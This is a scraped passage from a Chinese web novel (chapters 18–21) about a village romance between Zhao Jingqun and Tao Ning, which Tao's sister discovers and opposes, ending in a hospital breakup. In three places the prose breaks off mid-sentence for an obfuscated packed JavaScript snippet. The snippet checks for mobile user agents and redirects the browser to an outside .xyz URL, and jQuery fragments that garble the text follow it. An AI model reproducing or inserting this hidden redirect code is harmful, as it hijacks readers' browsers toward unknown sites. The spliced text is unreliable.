时间到了,赵静群给陶柠挑了一套遮的严严实实的衣物,这几天里,他又托人给陶柠买了很多衣物过来,还有给小檬和陶圆的。 把陶圆高兴得合不拢嘴,直夸想让赵静群做她女婿。 赵静群也不回答,目光都放在陶柠身上,他本来想亲手给陶柠穿衣服,接连好几次都被拒绝了,没有办法。 他只能蹲下来给陶柠穿袜子系鞋带,只是在穿的过程中,会用粗糙的指腹多抚摸几下手掌心上的脚腕。 少年的脚比他小了好几倍,五个脚趾的指甲修剪得整齐光滑,圆润如玉珠,赵静群会用极晦暗的视线紧紧盯着,那样贪婪的目光好似恨不得用舌头去.舔。 但他仅是滚动了几下喉结,忍住了。 赵静群在极力忍耐内心肮脏的欲.望,但他也不知道自己能克制多久,不过只要陶柠能永远在他身边,他可以一直伪装下去。 陶圆打着哈欠出来,老远就看见赵静群背着大包,左右手还拎满了东西,她震惊了:“不是说今天去山上……静群啊,你要回家了?” 赵静群说:“没有,今天陶柠一起去,所以多带点东西。” 陶圆:“……” 她想了想自家弟弟也帮不上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15859540|175949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么忙,就在一旁做个吉祥物也行。 三个人路上走走停停到了干活的地方,这次是去山上摘柠檬的,不过柠檬快要摘完了,今天就几箱的活,不多,摘完了装箱到时候村里统一运到镇上去卖。 赵静群找了块阴凉干净地让陶柠坐着,把背包里装的东西都跟他说了,才撸起袖子放心去干活。 二十七八度的天气下,男人脱下衣物,露出标准的八块腹肌,一看就知道锻炼得很好,手脚也麻利,完全看不出来是有钱人家出来的。 随着日头渐大,男人深邃如雕刻的五官上逐渐冒出细密的汗珠,小麦色的肌肤渐深,他擦了把额头的汗,却丝毫不觉得累。 因为偶尔陶柠会过来递给他水,还会拿毛巾给他擦汗。赵静群只要看陶柠一眼,瞬间浑身充满了干劲,甚至有在暗地里表现的意味儿。 到了中午,柠檬摘得差不多了,陶圆因为今天去镇上有些事情,就先回去了。 于是一眼望不到尽头的山野中,除了虫鸣鸟叫,就只剩下陶柠和赵静群了。 陶柠把微凉的矿泉水递给他,赵静群仰头一口气直接喝完了,捏扁塑料瓶放进背包里,接着用湿润的唇去掠夺陶柠双唇下的甘甜。 赵静群像野兽般的眼神紧盯着被他吻得喘不过气的少年,直到他要呼吸不过来了,才放过他。 黏腻如小串玉珠的丝线跟着从唇间分离,赵静群喘着粗气,嗓音低哑问:“……乖宝,跟我去宣誓好么?” 那天陶柠说完久远的传说后,他心里就冒出一个想法,只是很快就湮灭了,现在才恍然,他是想和少年去宣誓的,即使只是传说,他也不会放过能永远和陶柠在一起的希望。 陶柠愣了几秒,心脏微不可闻地动了一下,点了点头,“嗯”了一声。 他带赵静群去了另一座隐蔽的山头,阳光洒进茂密的树林里,因为丁达尔效应,光线落在地上的枯枝败叶上,只剩零星几点了。 他们来到一棵直径一米粗的槐树下,槐花好似半空中白色的海洋,将陶柠和赵静群包围了。 “这棵槐树有上百年历史了,我们可以把红绸系在它的树枝上。” 陶柠抬起眼睛,几片白色的花瓣恰好落下,飘到他微卷的发间。 赵静群侧眸看过去,光线映在身旁人的脸颊上,漂亮精致的五官格外清晰,阳光令少年身上仿佛绽放出一层淡淡的光晕,美好到就像随时要离开人间的天使。 美好到他这样卑劣的人,无论如何也抓不住。 赵静群的心脏被狠狠一刺,他忍不住冲上前把“天使”抱进怀里,克制地吻了一遍又一遍少年染上花瓣的发间,眼底浓烈如墨的阴暗再也遮不住了,“……陶柠,你只能是我的。” 怀中的人没有说话,赵静群深吸一口气,闭了闭眼,低下头衔住少年柔软的双唇,一阵清风吹过来,他们在漫天槐花下接吻。 然而陷入情动的赵静群没有发现,在离他们七八米远的地方,有个佝偻的身影借着灌木遮挡,正死死盯着他们,见到他们吻在一起后,浑浊的眼底闪过几丝震惊…… 最后,是满满的恶意。 19. 第 19 章 傍晚黄昏降临时,赵静群背着大包小包,牵着陶柠的手下山了。 余晖洒在他们的身上,斜映出两道一长一短的影子,而在他们背后,十几米高的槐树枝干上,摇晃着两块红绸。 赵静群捏了捏陶柠的手,语气微沉,“怎么许愿我平安健康,不许其他愿?”然而身旁的人一如既往没有说话。 眼底的幽暗愈深,赵静群张了张嘴,最终没有把话挑明白,他知道自己操之过急了,不能逼陶柠,况且现在这个社会对同性恋的容忍度很低,他不能太贪心想要陶柠的一辈子。 可只要想到陶柠未来无法承受社会的压力,最终选择离开他,去和别人结婚生子。 仅是这么一想,赵静群的心脏好似被活生生剜去了半块,他沉浸在这种痛苦的想象中无法疏解,直到少年轻软的嗓音将他从深渊中拉了出来:“……那你许了什么愿?” 刚才宣誓时,赵静群没有给陶柠看他在红布上写了什么,遮得很严实。只有陶柠坦坦荡荡的,写的是“希望赵静群一辈子平安健康,无病无灾。” 赵静群盯着那行端正的字,一言不发,眼眸中暗潮涌动,更多的是失落。 最后是赵静群踮起脚把两人的红布系在一起的,陶柠没他高,视力也没那么好,看不清赵静群写了什么,只好作罢。 赵静群回过神,脸绷得很紧,淡淡地问:“想知道么?” 陶柠点了点头,很重的“嗯”了一声,结果下一秒,他就听见男人沉着嗓音道:“我不说。” 陶柠:“……” 两个人回到家,桌上已经摆满了一桌菜,五个菜两个汤,有鸡有鱼好不丰盛,陶圆正系着围裙,手上忙活着布菜,耳边夹了个电话,语气里的炫耀遮也遮不住: “哎哟,柠柠那孩子你知道的嘛,从小就聪明,没让我操心过,这次有人资助他去上学,是运气撒……哎哟,这说什么话呢,你们小丰也很不错啦……哎对对对,没多少天了……” 她看见两人回来,挥手让他们去洗手吃饭,然后接着跟电话那边的人炫耀。 小檬一见到陶柠,就“哒哒哒”地跑过去抱住他的大腿,圆溜溜的眼睛眨呀眨,“舅舅,你回来啦。” “嗯,今天在学校听话吗?” “我很听话的!舅舅我跟你说……” 屋内暖黄色的灯光柔软地洒在这一家三口身上,有爽朗的笑声、有絮絮叨叨的唠叨,还有少年低垂着头,嘱咐小檬的轻声细语,卷翘如鸦羽的睫毛投下温和的阴影,美丽精致的侧颜令赵静群移不开眼。 嘴角的笑不由自主勾起,微吸了一口气,赵静群加入了这场温暖惬意的晚餐中。 饭桌上,陶圆不停给他们三人夹菜,眼角的细纹笑出了好几道褶皱,“柠柠,你还记得钱丰不,就是李向东他二姑的儿子,哎哟!我今天去镇上碰到他二姑啦,去读技校啦,之前不是还欺负你来着?臭小子一个,现在好了,跑去读那种流氓学校了,我今天一高兴,多买了几个菜……” “妈妈!你初中都没读过呢!” “嘿,你个臭小子,吃你的饭……” 赵静群忍不住偷看陶柠,发现他眼底有很浅的笑意,似乎是感受到了身旁炽热的目光,陶柠回望他,弯起了眼睛。 他们在桌下偷偷牵手。 吃完饭后,陶圆伸了几个懒腰,指挥家里的男子汉们去洗碗扫地,自己则回房间翻找藏起来的烟,结果找了半天也没找到。 脑海里浮现出少年每次都能精准找到她的烟然后拿走的背影,陶圆瞬间明白又被陶柠那臭小子知道自己藏东西的地儿了,脸上的面子有些挂不住,嘴里嘟囔了几句:“混小子,脑子那么灵光做什么……” 没找到烟,陶圆只好空着手去跳广场舞了,夏天山里没那么热,晚上也很早就凉快了,一到七八点,附近山头的妇女或小孩就会集合起来找块空地跳广场舞、活动。 跳广场舞的地方就在陶圆家附近,她是前段日子才迷上广场舞的,以前她看都不会看一眼,结果后来,陶圆听见有人在背地里嚼舌根说她这样的母老虎,怎么可能会跳舞! 陶圆争强好胜了快半辈子,当然不会服气,因此近段时间天天去跳,到了现在,她都算得上半个领舞的了。 今天陶圆心里舒坦得不行,自己的弟弟优秀到人人羡慕,曾经那些瞧不起他们的亲戚如今一个一个巴结过来了,还有一个可爱健康的儿子,相好的虽然是个不成器的,但常年不回来,跟没有一样,人不见心不烦。 陶柠特意换上四年前买的品牌裙子去跳舞,半路上又碰到打听陶柠的,她炫耀了几句就仰着头走了。 一路走到山腰,陶圆哼着小歌,身后突然传来一道嗤笑:“陶圆,你还不知道你那个宝贝弟弟和男的搞一块了吧?” 山路拐角的阴影里,张麻子狰狞着脸走出来,一口黄黑牙咧起,不料扯到了脸上的旧伤,顿时龇牙咧嘴道:“嘶,你还有心情去跳舞,你那弟弟现在都给人卖屁.股了,你难道不知道……” 话还没说话完,一块拳头大的石头带着狠劲砸了过来,张麻子吓得连忙往后退,破口大骂:“你个臭娘们找死啊?!” “老娘看找死的是你!” 陶圆根本无法容忍有人诋毁陶柠,冲上去几耳光甩了过去,揪住张麻子的头发,随即一脚狠狠踹向他的下半身,刹那间,山林里响起一道凄厉的惨叫:“啊!!!” 没过几分钟,陶圆气喘吁吁,头发凌乱,脸上也带了几道抓伤,却踩在张麻子的身上,凶狠地质问:“下次再敢胡说八道,老娘撕烂你的嘴!” 陶圆“呸”了地上被揍得惨不忍睹的人几口唾沫,嫌晦气拍了拍手,转身就走,不料一条腿被地上的人死死抓住了。 这一下陶圆怒火中烧,拧过头正想几脚踹下去,一张略微模糊的照片顿时出现在她面前,昏暗的山林里,手里屏幕上的亮光格外显眼、刺眼—— 照片上,高大挺拔的男人抱着比他矮了一个头的少年忘情地亲吻着,阴影笼罩了他怀中的人,而周围的景色熟悉到令人发冷。 照片里的人更是熟悉到让陶圆如坠冰窖,她的呼吸凝固了,一把夺走手机,耳边却充斥着张麻子得意和泄恨的叫声:“你看看啊,我说的没错吧?你们家那个城里来的男的,和你弟弟搞在一起了,啧啧啧,这要是传出去,你弟别说去城里读书了,恐怕会被当成神经病抓起来吧……” 啪嗒一声,手机摔到了地上。 就像一个新鲜的苹果摔到了地上,没有四分五裂,却再也不能吃了。 陶柠把苹果从水泥地上捡起来,揉了揉小檬的头发,温和道:“没关系,我去厨房洗一下,再把这半边切掉。” 小檬瘪着嘴,眼角挂着泪,抱住他的腿撒娇:“舅舅你真好,要是妈妈在这里,肯定要骂我了……但是妈妈怎么还没有回来?” 离陶圆出去已经三个多小时了,按照以前的时间,九点左右陶圆差不多就回来了,只是现在时针指向十点了,也没有看见陶圆的人影,而且今天的夜晚又刮起大风了,树枝簌簌作响,响个不停。 陶柠微蹙眉,“我等下给阿姐打个电话,你先回房间睡觉,我等会把苹果送过去。” 小檬乖巧地点头,迈着小短腿回房间了。 他一走,身后就贴上来炽热的气息,赵静群抱着陶柠的腰肢,咬他的耳朵问:“呆宝,怎么了?” “阿姐还没回家,我等会要给她打个电话。” “但你姐的手机放电视柜上了……我来洗。”赵静群把陶圆摔坏了的苹果拿走,牵着他的手去厨房,然后熟练地用刀把摔坏的部分切掉了。 他切下一小块,喂给了看起来又呆又愣的陶柠,“好吃么?” 陶柠鼓起一边嘴,像只被投食的小松鼠,嚼了嚼咽下去了,呆呆地说:“好吃……不用给我,这是给小檬的。” “可这是我买的。”赵静群轻笑,“那里还有很多,等会再给他洗一个。” 陶柠无法反驳,只好看着赵静群把摔坏的半边全部切掉了,然后把我安好无损的半边切成好几小块,一块一块喂给他。 到了最后一块的时候,陶柠没有等来苹果,来到他唇边的,是男人炽热凶狠的亲吻。 好半晌,赵静群才放开他,牵着他的手去正堂,还没踏进门槛,就看见悄无声息坐在餐桌旁的陶圆。 昏黄的灯光下,清瘦的女人头发凌乱,脸颊旁还多了几条划痕,有血渍干涸了,她面色惨白,双目里满是复杂、不解…… 最多的,是痛苦。 那样豪放不羁,把所有的刺扎向外人,唯独把温柔和爱留给弟弟和儿子的女人,此刻却像忽然老了几十岁,瘦到骨头清晰可见的腰直不起来了。 陶柠睁大了双眸,那颗自始至终毫无波澜的心脏忽地动了一下,他迅速挣脱男人的手,冲过去来到她身边,小心翼翼问:“阿姐……你、你怎么了?” 听到声音,仿佛变成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15859541|175949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一具木偶的女人好似惊醒,她的眼珠子动了动,扭过头,红肿的眼睛盯着陶柠。 女人仔仔细细,一点儿也不落地打量陶柠,这是她从小拉扯到大的弟弟,可以说是她半个儿子,虽然他们两人相差的年纪的确可以做母子了。 即使他们之间没有丝毫血缘关系,可这是她小时候宁愿自己饿着,也要给那时还是小不点买糖吃的弟弟啊。 因为家里穷,她作为长姐,读完四五年级就没有读了,知道外出打工的苦,所以攒了很多年的钱送陶柠去读书。 陶柠也没有辜负她的期望,成绩拔尖,听话懂事,所有老师都对他赞不绝口,说他是数学天才,未来有大好的前途。 那时陶圆高兴得要命,每天在工厂里麻木做十几个小时的衣服,半夜抹的泪水,通通都值了。 后来爸妈去世,家彻底散了,她和陶柠从此真正意义上的相依为命,一直到现在,好日子终于要来了,陶柠可以不用掏一分学费就可以去大城市读书了……可为什么,他要和男的在一起呢?他不知道那是神经病才能干出来的事吗?! 他本该有大好的前途啊! 陶圆看着看着,忍住了几乎要夺眶而出的泪水,她重重地吸了一口气,挤出一个笑,“没什么,傻小子,快去睡吧。” 陶柠不信她的话,正想多问,可女人已经摇摇晃晃地站起来,回房间了。 他怔怔地看着陶圆佝偻着背离开,有些哑言,直到赵静群把他揽入怀中,轻声哄着他:“明天再问好不好?今天太晚了,该睡觉了。” “……嗯。” 次日醒来,陶圆把小檬送去学校后,接着三人又去山上了,这是最后一次采摘柠檬。 陶柠问起昨天的事,陶圆只说在路上摔了一跤,其他的没有多说。 他皱起眉,总觉得是发生了什么事情,但是陶圆总说他是个闷葫芦,可一旦遇到难事,陶圆只会比他还要憋着,只想自己扛过去。 看着陶柠忧心忡忡的模样,赵静群心里发疼,在背后勾起他的小拇指,只想把少年抱进怀里哄一哄,逗他开心。 但陶圆还在前面,男人只好忍下急躁和心疼。 今天天气不好,黑云也压的很低,狂风大作,吹得树枝互相拍打得厉害。 陶圆面色平静说:“我先下山去接小檬放学,带两把伞过来。你们要是碰上大雨了,就去附近王婆家躲着,知道不?” 陶柠点了点头,目送她离开。 陶圆刚走,四下彻底没有人了,赵静群再也忍不住抱住陶柠,拍着他的背轻声哄着:“乖,笑一下好么?”他看着心里难受。 怀里的人抬起头,露出那双潋滟清澈的双眸,里面带了困惑,卷翘的睫毛眨了眨,显然是对他总是无厘头的要求感到无奈。 赵静群眼底溢出几丝幽暗,他捂住陶柠的双眸,再也克制不住吻上怀中人柔软的唇畔,呼吸交缠间,仿佛要与他同生共死,天荒地老。 狂风大作下,女人冰冷的声音在他们身后平静地响起,“陶柠。” 她只是叫了陶柠的名字,仅仅两个字而已,语气那么平静,却在狂风中如此清晰,仿佛用尽了全身的力气,才喊出了这个名字。 正在接吻的两人好似晴天霹雳,陶柠迅速推开禁锢他的男人,猛地回过头,一向没什么表情是脸上露出几分愕然:“阿姐?你……” 他话还未落,一阵疾风就已经冲脸颊上袭来了,但巴掌到了半空中,又被赵静群的手截住。 赵静群沉着眼,“不关他的事,一切是我……” 啪的一声响! 重重的巴掌已经落在了他脸上,陶圆收回颤抖的手,喘着气,双目猩红地看着完全愣住的陶柠。 她歇斯底里质问这个被她当作宝一样护着的弟弟,“陶柠,你是不是疯了?!你怎么能和男的搞在一起?你忘了我之前是怎么护着你的吗?!你是不是疯了?!你知不知道你是在毁了你自己啊?!你吃了那么多苦才走到今天,你怎么能和男人搞在一块呢……” 说着说着,女人像是被抽走了灵魂,她弯下腰,捂着脸大声哭了起来。 狂风依旧急切猛烈,吹乱了山上的树林,也吹乱了槐树的树枝,而那高不可及的树枝上,挂着两块红绸,如两只游鱼致死交缠,红绸上露出被镌刻的字迹,其中一条上笔锋凌厉,写着—— “吾爱陶柠,愿与他长相厮守,相伴一生,不离不弃。” “落笔:赵静群。” 20. 第 20 章 狂风还在继续,天要下大暴雨了。陶柠迅速反应过来,冲上前抓住陶圆的手腕,柔软的声音里满是慌乱:“阿姐......我们先回去吧。” 陶圆止住浑身的颤抖,她微抬起头,看着眼前已经长成亭亭玉立小树的弟弟,他戴着的眼镜却不再是自己买的了,曾经她以为是赵静群人好,现在看来,他们的目的是一样的。 她知道陶柠的模样过于出类拔萃,为此从小招来了无数人肮脏的心思,她特意给陶柠买土气的眼镜,土气的衣服,希望他除了学习,其他地方不要扎眼。因为陶圆走出大山过,知道外面的世界复杂多变,充满了诱惑。 她不希望自己的弟弟会被肮脏恶心的事情和人毁掉。 赵静群的目的和她是一样的,只是他是因为占有欲和嫉妒...... 以往所有忽略的细节都纷至沓来,陶圆心底积攒的怒火变成了即将喷发的岩浆,她反手抓住陶柠的手腕,细瘦到骨头骨头的手绷得很紧,冷眼看着他身后的男人,“你现在马上和我走,让他别跟着!”说完,她用力拽着陶柠离开。 身后的赵静群盯着陶柠被抓红的手腕,眉头拧得很紧,可嘴唇微张,最终没能说出口。 狂风大作,吹得四周的树林发出了凄厉的叫声,他的身影在群山包围之下,再次恢复成以往的孤寂,那双漆黑的眸子凝视少年清瘦的背影渐行渐远。 少年没有回过头。 他的心跟着一点一点冷下去,虎口的烟疤疼得厉害,疼到赵静群捂着手蹲在了原地,双目逐渐猩红,眼底是再也藏不住的痛苦。 然而也正因如此,他没有看见走远的少年侧过头,似乎想再看他一眼,却被陶圆呵斥了:“还看?!陶柠,你回去后老实点立刻去爸妈面前跪着,什么时候知道错了.......” “这不是错,阿姐。” 少年的声音很轻,却像一块巨大的石头,在本就要爆发的湖水中激起了千层浪。 “啪嗒”一声,陶圆甩开他的手,扬起的巴掌要落在少年的脸上时,想起他的病,又硬生生放下去了,却指着他的鼻子臭骂:“他是给你下什么药了你这么为他说话?男的能有几个好东西你自己是个男的你自己心里不清楚吗?!我告诉你陶柠,你要是不断了你心里头那些神经病的想法,你也别想去读书了!” 她骂完这一通后,再也不看陶柠一眼,转身走了。陶柠怔怔地看着她离开,仿佛机器运转的心里,有一个齿轮松动了。 在无人知晓的地方,有声音机械地报出一串数字: 【恭喜,编号510的自主情感值达到31.5%......】 老旧电视机上正播放儿童频道,主持人夸张地念着“小朋友们,跟着我念,三十一、三十二.....” 小檬摇晃着脑袋,字正腔圆地念着:“三十三、三十四。” 大门忽然被人打开了,呼啸的风卷着落叶吹进了家门,小檬扭过头,眼睛一亮冲了过去,抱着陶圆的腿,“妈妈,你回来了?舅舅呢......” 小檬探出头,却看见站在门口像一缕幽魂的陶柠,他过来,却没有说话,而是径直走到供桌前,朝两张遗像重重跪了下去。 扑通一声响,少年跪地的声音清晰可闻,却没有听到他发出一丝痛呼,只是因为皮肤细嫩脆弱,冰冷的水泥地上,细小的碎石与肌肤相撞,瞬间的疼痛令陶柠忍不住蹙起眉,身体也跟着抖了一下,背影却始终如常青的松树,脊梁挺得笔直。 小檬要心疼坏了,正要把陶柠拉起来,却被陶圆一把扯住了,他回过头,才发现以往总是笑脸的妈妈此刻双眼通红,浑身似有灰暗笼罩。 “妈妈......” 她抓着小檬的手往房间里带,压着怒火低吼:“这里没你的事,给我回房间写作业去!等会我来房间检查,你要是敢瞎写,你也给我跪在这里,快去!” 小檬不明白发生了什么,但家里的氛围好似狂风骤雨来临前的压抑,他被推到了房间去,透过门缝最后一眼看到的,是少年跪在地上,倔强与平静交织的侧颜。 哗啦哗啦,酝酿了许久的暴雨终于落下了,黄豆大小的雨滴拍打在玻璃床上,嘎吱作响,就像一座又一座古旧死板的深山,无论暴雨如何冲唰,始终顽固地扎根在土地上。 陶柠的膝盖已经痛到麻木,恍惚间,他忽然想起来,男人说要和他在一起的时候,天气也像今天这般混乱、压抑,他被压在那块巨大的石头底下时,头一次感受到了绝望是什么样的滋味。 他问系统:【我会死吗?】 话一向很多的系统却破天荒地始终没有回应,就当陶柠以为自己可能会死时,石头被打开了,下一秒,男人满手是血,跌跌撞撞地跑过来,抱着他浑身发抖说:“我们在一起吧。” 陶柠形容不出当时是什么感受,其实从小到大他的情绪感知能力极低,好在他的学习能力很好,别人笑的时候,他会笑,别人哭的时候,他就跟着掉眼泪。 他把情绪转化为特定时候需要的东西,比如在养父母去世的时候,他知道该哭了,所以他那天哭到眼睛红肿,比如小檬出生的时候,他知道该笑了,所以那天高兴了很久...... 可现在呢?是该笑 ......还是该哭呢? 陶柠无法理解,脑袋也好似被塞入了几朵棉花,堵住了他思考的能力,有些昏昏沉沉的,以至于身体出现了几分摇晃,但他强撑着疲惫,没有倒下去。 直到身后传来陶圆冷静的声音:“东西我都给你收拾好了,我现在送你去书记家,那些钱我们家也不会收,都给你放行李里面去了,走吧。” 淅淅沥沥的雨声中,男人站在门外,说话的声音有些听不真切:“......陶圆,你弟的身体不能跪,我可以走,但你要让他先起来。” 随即是女人近乎嘶吼的声音:“你够了!我弟弟现在和你半毛钱关系都没有,你少在这儿装模作样......”说着说着,她又低声哭了起来,语气里终于带了几分恳求。 “......你走吧赵静群,算我这个做姐姐的求你,你就算不能理解我,如果......如果你真的喜欢他,就替他好好想想,我们家不像你们城里人有钱有后路,家里从小穷到大,尤其是陶柠,我不知道他有没有和你说过,他是我们家捡来的孩子.....” 女人哽咽着,哭声好似一柄尖刺,刺伤自己,也在毫不犹豫刺向他人:“陶柠还是婴儿大的时候被我爸捡回来,他是我们老陶家唯一的男孩子,是我们家未来的根你知道吗?他那么小......” 她用手比在自己膝盖的位置,接着哭着说:“这么一丁点儿大的时候就已经很懂事了,他从来没让我们操心过,四五岁就会帮我们做饭洗衣服,就算他后来十一二岁才读的书,成绩也是学校里最好的,跳了很多级,拿了很多奖状,你看见他房间里那些奖状了吧?” “他那么优秀,对我们这种家庭的人来说,读书是他唯一的出路,不像你们有钱人那样有许多选择。”她说着说着,声音又平静下去,“你放过他吧,我弟弟不能被人戳脊梁骨,一旦你们的事被人发现他就是死路一条,如果你真的喜欢他,以后就不要出现在他面前了。” 最后一个字落下后,四周仿佛陷入了死寂。 雨水把站在门外一动也不动的男人浑身都淋透了,深邃凌厉的五官上沾满了咸涩的雨珠,狼狈不堪的样子好似被人拽进入无解的旋涡。 他弯下一条腿,紧接着,双腿跪了下去,朝陶家正堂的方向磕了一个头,但男人什么也没有说,仿佛在用无声的沉默对抗顽固封建的深山。 这时候,他磕头的那瞬间,女人的尖叫和小檬的慌乱声传来了,“柠柠!”“舅舅!舅舅你怎么了......” 陶圆还没跑过去,身旁忽然冲出一道人影,赵静群已经把昏过去的陶柠打横抱起来,他沉着脸说:“带好衣服去卫生所。” 见少年脸上升起不正常的红晕,陶圆吓得六神无主,顿时什么火气都没有了,她虽然心里膈应赵静群还抱着弟弟,但此时此刻,也管不了那么多了,急忙拿好雨伞带好衣物和钱,把急哭了的小檬塞回房间,然后和赵静群冲进了雨幕里。 他们借了邻居家的电动三轮,一路赶去了镇上的卫生所,最后的结果出来,是陶柠发起高烧了,又加上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15859542|175949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 淋雨和吹风,温度飙升到了四十度上下。 陶圆想起少年从小就身体不好,时不时就发烧感冒,流血后血也止不住,现在却暴怒到让他大雨天跪着。 坐在病房外的走廊上,她心中一阵愧疚,掩面哽咽说:“是我不好......”但她不会放弃要让陶柠和赵静群分开的想法,因为她曾经见识过村里有两户男人搞到了一块,短短几天的时间,就传到了山头所有人的耳朵里。 村里人觉得他们是生了病,脑子出了问题,就把他们拖到了精神病院去治病,最后其中一个人死了才收尾。 她害怕弟弟也会是那样的结局,所以她绝不会让陶柠和赵静群在一起。 外面的雨越下越大,仿佛有吞噬天地的预兆,男人把陶柠送到卫生所后,人就不见了,陶圆不想管他去了哪里。 一直等到第二天清晨,病床上的少年转醒,他睁开那双被高温烧到发红的眼眸,看着守在病床前红肿着眼睛的陶圆,轻柔的嗓音变得沙哑:“阿姐,我……” “好了好了,”陶圆勉强扯出一抹笑,朝他轻微摇了摇头,“什么都别说了,那人已经走了……阿姐当作什么事情都没发生过,你现在最重要的事养好身体,我给你煮了粥,先起来喝几口。” “……嗯。” 陶柠苍白的脸平静到像一张白纸,听到赵静群已经走了的消息,眼皮上落下的长睫的阴影抖了一瞬,但这颤抖快到无法令人察觉。 他平静地喝完了粥,其实陶柠做的饭菜味道会不自觉地偏重,但他从来没说过,吃的也不多。 近期长了那么一点肉,是男人做的饭菜合他的胃,所以他胖了一点点。 赵静群在房间里总会把他抱起来掂几下,然后埋在他的颈窝处笑着说:“呆宝,我把你喂胖了。” “……” 最后一勺粥咽下去,陶柠抬起头,发现陶圆坐在椅子上睡着了,她眼角下一片乌黑,就连睡觉也皱着眉头。 他静静地看着,因为还挂着点滴,手背上有针,所以没办法下床把碗洗了。 过了片刻,睡着的女人似乎被惊醒了,她迷迷糊糊睁开眼,看到陶柠还在后松了口气,把碗筷收起来,告诉他:“我回去把小檬安顿好再来陪你,哪里痛了不舒服了就要和医生说,钱我都放你枕头下了。” “好。” 陶圆不放心地又嘱咐了他几句,才提着保温盒离开。 她一走,整间病房里就只剩下陶柠一个人了,方方正正的病房里,他独自坐在病床上,垂着头,露出柔软白皙的后脖颈。 陶柠轻声问:“系统,你在吗?” 很多天没有出过声的系统出现了:【怎么了呆瓜?】 陶柠声音闷闷的:“……有点事情,你这几天去哪儿了?” 系统开心道:【去旅游啊,前几天是我们人工智能的节假日,所以放假了,我拍了很多地球的照片,你要不要看?】 【……晚上看。】 【好吧,那呆瓜你有啥事?】 陶柠纤细的手指蜷缩了一下,片刻,才轻声说:“我想知道赵静群现在还好吗……” 话音刚落,下一瞬,病房的门就被打开了,赵静群站在门外,那双漆黑的眼眸盯着他,一眨也不眨地看着陶柠,仿佛只要眨了眼睛,少年就会从他眼前消失一样。 他无比珍惜地看着,直到他一步一步走过去,握住少年的手,滚烫的温度贴着掌心柔软的肌肤。赵静群那双眼睛里装满了沉甸甸的情愫,止不住地吻着掌心的纤细的手,哑着嗓音说: “呆宝……我们私奔吧?” 病床上的少年垂着眼睛看他,静静的,两个人谁都没有说话,仿佛要沉浸在一场天真而美好的梦里。过了许久,他叫了一声“赵静群。” 男人轻吻他的手,声音里满是眷恋,“我在。” “……你爱我吗?” 男人愣了一下,似乎没有想到陶柠会问这个问题,接着,他像是下定决心,却毫不犹豫回答: “我爱你,陶柠。” “我爱你。” 男人亲吻少年的手,一遍又一遍说:“很爱很爱,我爱你。” 21. 第 21 章 【叮咚!恭喜宿主的攻略任务完成了百分之三十二!请继续努力喔!】 脑海里机械的声音刺耳又冰冷,陶柠沉默而安静地注视着亲吻他手腕的男人,最终,把手抽回去了。 男人垂着头,维持握着他手的姿势没有变过,仿佛一座僵硬的雕塑。 陶柠看不清他脸上的神情,许久,声线轻软:“赵静群……对不起。” 赵静群压低眼帘,始终没有抬眸看他,听到他的话,故作镇静问:“呆宝……我们私奔好吗?去找一个谁都不认识我们的地方,我来供你读书,我发誓,绝不会让你吃半点苦,给我三年时间,我会让你住上星城最好地段的房子,我……” “赵静群。” 简单三个字,分明用很轻很软的声音说出来的,却轻而易举打断了男人急切想证明的话语。 赵静群终于抬头,眼眶却红得吓人,这个眼睛里始终充斥冷漠与狠厉的男人,此刻却像一个即将被抛弃的孩子,有些可怜地看着病床上的陶柠,脸上露出迷茫。 清晨的光线照进来了,将两人的影子映在白色的墙壁上,床上的影子身形清瘦,简单的话说出来,却瞬间让床下高大的影子浑身发颤。 “我们……我们分手吧。” “……为什么?” 赵静群闭了下眼,再睁开,里面的情绪忽然变得平静,就好像什么事情都没有发生过,语气甚至有些强硬:“陶柠,告诉我……为什么?” 过了许久,病房里都没有响起第二个声音,最后,陶柠看着他已经黯淡无光的红色头发,记得初见他时,这头红发张扬肆意,而红发的主人,嘴角总是勾着凉薄的笑,看上去很不好惹。 但只有陶柠知道,他的怀抱有多滚烫炽热,在他家住了一段时间后,这头红发下已经长出黑色的发根了。 他看了许久,最后才说:“因为你的红头发。” 赵静群平静地看着陶柠说话,后者又说了第二遍,“……我不喜欢你的红头发。” ——你的红发很惹眼,会枕在我的大腿上,叫我看有没有长出白发,如果没找到,你就会用这个借口亲吻我。 目光又看向他的耳朵,陶柠继续说:“……不喜欢你的耳钉。” ——你会故意用耳钉蹭我的脖颈,耳钉冰凉的温度在滑腻的肌肤上游走,总是让我很害羞,我推搡你,你却不肯停下。 “我不喜欢……” “够了!陶柠。”赵静群低吼,最后几乎祈求他:“不要再说了……别说了。” 